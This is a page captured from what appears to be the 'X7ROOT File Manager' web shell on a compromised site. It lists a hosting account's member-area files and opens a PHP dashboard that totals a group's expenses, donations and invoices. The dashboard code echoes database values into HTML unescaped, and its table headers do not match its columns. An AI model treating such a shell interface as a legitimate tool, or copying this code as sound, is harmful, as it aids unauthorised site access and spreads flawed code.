File Manager

X7ROOT File Manager

Current Path: /home/remnbtxp/public_html/members/includes

home / remnbtxp / public_html / members / includes /

📁 ..
📄 2_content.php(7.8 KB)
📄 2_sidebar.php(2.05 KB)
📄 3_content.php(5.26 KB)
📄 3_sidebar.php(1.71 KB)
📄 4_content.php(6.65 KB)
📄 4_sidebar.php(1.88 KB)
📄 5_content.php(6.12 KB)
📄 5_sidebar.php(2.01 KB)
📄 6_content.php(5.54 KB)
📄 6_sidebar.php(1.99 KB)
📄 7_content.php(5.79 KB)
📄 7_sidebar.php(1.65 KB)
📄 manage_donations_content.php(10.09 KB)
📄 manage_expenses_content.php(9.4 KB)
📄 manage_invoices_content.php(9.48 KB)
📄 manage_member_content.php(32.32 KB)
📄 manage_notes_content.php(9.51 KB)
📄 manage_partnerships_content.php(9.5 KB)
📄 manage_task_content.php(10.01 KB)
📄 robots.txt(26 B)

Editing: 5_content.php

<div class="content-header">
    <div class="container-fluid">
        <div class="row mb-2">
            <div class="col-sm-6">
                <h1 class="m-0">HOF Dashboard</h1>
            </div>
            
        </div>
        
    </div>
    
</div>

<section class="content">
            <div class="container-fluid">
                
                <div class="row">
                    
                    <div class="col-lg-3 col-6">
                        <div class="small-box bg-info">
                            <div class="inner">
                                <h3><?php echo getTotalExpenses(); ?></h3>
                                <p>Total Expenses</p>
                            </div>
                            
                        </div>
                    </div>
                    
                    <div class="col-lg-3 col-6">
                        <div class="small-box bg-success">
                            <div class="inner">
                                <h3><?php echo getTotalDonations(); ?></h3>
                                <p>Total Donations</p>
                            </div>
                            
                        </div>
                    </div>
                    
                    <div class="col-lg-3 col-6">
                        <div class="small-box bg-warning">
                            <div class="inner">
                                <h3><?php echo getTotalInvoices(); ?></h3>
                                <p>Total Invoices</p>
                            </div>
                            
                        </div>
                    </div>
                    
                    <div class="col-lg-3 col-6">
                        <div class="small-box bg-danger">
                            <div class="inner">
                                <h3><?php echo getPendingTasks(); ?></h3>
                                <p>Pending Tasks</p>
                            </div>
                            
                        </div>
                    </div>
                </div>

<div class="card">
                    <div class="card-header">
                        <h3 class="card-title">Expenses Table</h3>
                    </div>
                    
                    <div class="card-body">
                        <table id="expensesTable" class="table table-bordered table-hover">
                            <thead>
                            <tr>
                                <th>ID</th>
                                <th>Date</th>
                                <th>Description</th>
                                <th>Amount</th>
                                
                            </tr>
                            </thead>
                            <tbody>
                            <?php echo getExpensesTable(); ?>
                            </tbody>
                        </table>
                    </div>
                    
                </div>

</div>
            
        </section>

<?php
// Function to get total expenses
function getTotalExpenses() {
    global $conn;

$sql = "SELECT COALESCE(SUM(amount), 0) AS total_expenses FROM expenses";
    $result = $conn->query($sql);

if ($result && $result->num_rows > 0) {
        $row = $result->fetch_assoc();
        return $row['total_expenses'];
    }

return 0; // Return 0 if there are no expenses
}

// Function to get total donations
function getTotalDonations() {
    global $conn;

$sql = "SELECT COALESCE(SUM(donation_amount), 0) AS total_donations FROM donations";
    $result = $conn->query($sql);

if ($result && $result->num_rows > 0) {
        $row = $result->fetch_assoc();
        return $row['total_donations'];
    }

return 0; // Return 0 if there are no donations
}

// Function to get total invoices
function getTotalInvoices() {
    global $conn;

$sql = "SELECT COALESCE(SUM(invoice_amount), 0) AS total_invoices FROM invoices";
    $result = $conn->query($sql);

if ($result && $result->num_rows > 0) {
        $row = $result->fetch_assoc();
        return $row['total_invoices'];
    }

return 0; // Return 0 if there are no invoices
}

// Function to fetch pending tasks (replace with your database query)
function getPendingTasks() {
    global $conn;
    $query = "SELECT COUNT(*) AS pendingTasks FROM tasks WHERE task_status = 'Pending'";
    $result = $conn->query($query);

if ($result) {
        $row = $result->fetch_assoc();
        return $row['pendingTasks'];
    } else {
        return "Error fetching pending tasks";
    }
}

// Function to fetch expenses table data (replace with your database query)
function getExpensesTable() {
    global $conn;
    $query = "SELECT * FROM expenses";
    $result = $conn->query($query);

$tableData = '';

if ($result && $result->num_rows > 0) {
        while ($row = $result->fetch_assoc()) {
            $tableData .= "<tr>
                            <td>{$row['expense_id']}</td>
                            <td>{$row['expense_type']}</td>
                            <td>{$row['amount']}</td>
                            <td>{$row['expense_date']}</td>
                            
                          </tr>";
        }
    } else {
        $tableData = "<tr><td colspan='4'>No expenses found</td></tr>";
    }

return $tableData;
}
?>

X7ROOT File Manager

Editing: 5_content.php

Upload File

Create Folder